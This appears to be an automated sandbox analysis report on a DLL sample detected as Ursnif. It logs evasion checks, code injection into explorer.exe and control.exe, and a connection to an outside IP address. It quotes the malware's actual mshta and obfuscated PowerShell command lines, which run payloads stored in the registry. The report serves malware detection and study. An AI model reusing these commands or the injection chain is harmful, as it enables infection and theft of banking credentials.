Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6584 Thread sleep time: -11990383647911201s >= -30000s Jump to behavior
Found evasive API chain (date check)
Source: C:\Windows\SysWOW64\rundll32.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zek5yaft\zek5yaft.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zbedhqob\zbedhqob.dll Jump to dropped file
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5765 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3799 Jump to behavior
Found evasive API chain checking for process token information
Source: C:\Windows\SysWOW64\rundll32.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058065C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 2_2_058065C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058099BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 2_2_058099BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581BAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 2_2_0581BAD1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580FD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 2_2_0580FD47
Source: explorer.exe, 00000019.00000000.516481993.0000000006389000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000019.00000000.521158297.0000000007C08000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i
Source: explorer.exe, 00000019.00000000.521158297.0000000007C08000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000019.00000000.503596246.0000000004150000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}:
Source: explorer.exe, 00000019.00000000.521158297.0000000007C08000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i&
Source: RuntimeBroker.exe, 00000022.00000000.758740325.00000188B362A000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}6bf
Source: explorer.exe, 00000019.00000000.522463940.0000000007D2A000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000019.00000000.521158297.0000000007C08000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00Iy
Source: explorer.exe, 00000019.00000000.521943501.0000000007CC2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000v
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580EC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey, 2_2_0580EC00
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05808FEC StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler, 2_2_05808FEC

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 185.189.151.28 80 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\System32\control.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF6B19212E0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: D10000 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF6B19212E0 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 42E000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FF8DBEB1580 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 26A0000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 430000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FF8DBEB1580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 720000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FF8DBEB1580 Jump to behavior
Changes memory attributes in foreign processes to executable or writable
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF8DBEB1580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF8DBEB1580 protect: page execute read Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF8DBEB1580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF8DBEB1580 protect: page execute and read and write Jump to behavior
Allocates memory in foreign processes
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: C:\Windows\System32\control.exe base: D10000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory allocated: C:\Windows\explorer.exe base: 720000 protect: page execute and read and write Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3808 base: 42E000 value: 00 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3808 base: 7FF8DBEB1580 value: EB Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3808 base: 26A0000 value: 80 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3808 base: 430000 value: 00 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3808 base: 7FF8DBEB1580 value: EB Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3808 base: 720000 value: 80 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3808 base: 7FF8DBEB1580 value: 40 Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\rundll32.exe Thread register set: target process: 492 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread register set: target process: 3808 Jump to behavior
Source: C:\Windows\System32\control.exe Thread register set: target process: 3808 Jump to behavior
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread created: C:\Windows\explorer.exe EIP: DBEB1580 Jump to behavior
Source: C:\Windows\System32\control.exe Thread created: C:\Windows\explorer.exe EIP: DBEB1580 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Rwr3='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Rwr3).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gcqrbwksb -value gp; new-alias -name jkgyvx -value iex; jkgyvx ([System.Text.Encoding]::ASCII.GetString((gcqrbwksb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gcqrbwksb -value gp; new-alias -name jkgyvx -value iex; jkgyvx ([System.Text.Encoding]::ASCII.GetString((gcqrbwksb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\qOfIxt1fnQ.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gcqrbwksb -value gp; new-alias -name jkgyvx -value iex; jkgyvx ([System.Text.Encoding]::ASCII.GetString((gcqrbwksb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zek5yaft\zek5yaft.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zbedhqob\zbedhqob.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES1B0A.tmp" "c:\Users\user\AppData\Local\Temp\zek5yaft\CSC3DAC9030B4CB46878A3398CFC11AF7A7.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES3EDE.tmp" "c:\Users\user\AppData\Local\Temp\zbedhqob\CSCD26AEEEF9294175AE6FC384D1631824.TMP" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
Source: explorer.exe, 00000019.00000000.535849015.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.501989137.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.535978751.0000000000D00000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program ManagerG
Source: explorer.exe, 00000019.00000000.535849015.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.520522031.0000000007C08000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.544623260.0000000005920000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000019.00000000.535849015.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.501989137.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.535978751.0000000000D00000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000019.00000000.535849015.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.501989137.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000019.00000000.535978751.0000000000D00000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000019.00000000.535094952.0000000000628000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.501910390.0000000000628000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.501233065.0000000000628000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ProgmanPV*
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE3365 cpuid 2_2_00FE3365
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058181F1 CreateNamedPipeA,GetLastError,CloseHandle,GetLastError, 2_2_058181F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE76BB GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError, 2_2_00FE76BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE6D78 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 2_2_00FE6D78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE3365 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree, 2_2_00FE3365

Stealing of Sensitive Information
barindex
Yara detected Ursnif
Source: Yara match File source: 00000010.00000003.492379314.000001F7004CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.422014842.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.478528295.0000000005DF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376465602.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376077940.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.494043420.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376224243.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376293095.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376618424.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376605929.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.493947920.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376565939.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.425214874.0000000004FBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423746626.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376373630.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 4428, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5600, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 492, type: MEMORYSTR
Source: Yara match File source: 2.2.rundll32.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d194a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d194a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.5166b40.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.5166b40.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.50ba4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.51394a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.50ba4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000003.539442937.0000000004D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.541455340.0000000004E3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.490107401.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.490844761.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.542153003.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423030052.00000000050BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.492781969.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423208841.0000000005139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Ursnif
Source: Yara match File source: 00000010.00000003.492379314.000001F7004CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.422014842.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.478528295.0000000005DF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376465602.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376077940.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.494043420.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376224243.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376293095.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376618424.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376605929.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.493947920.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
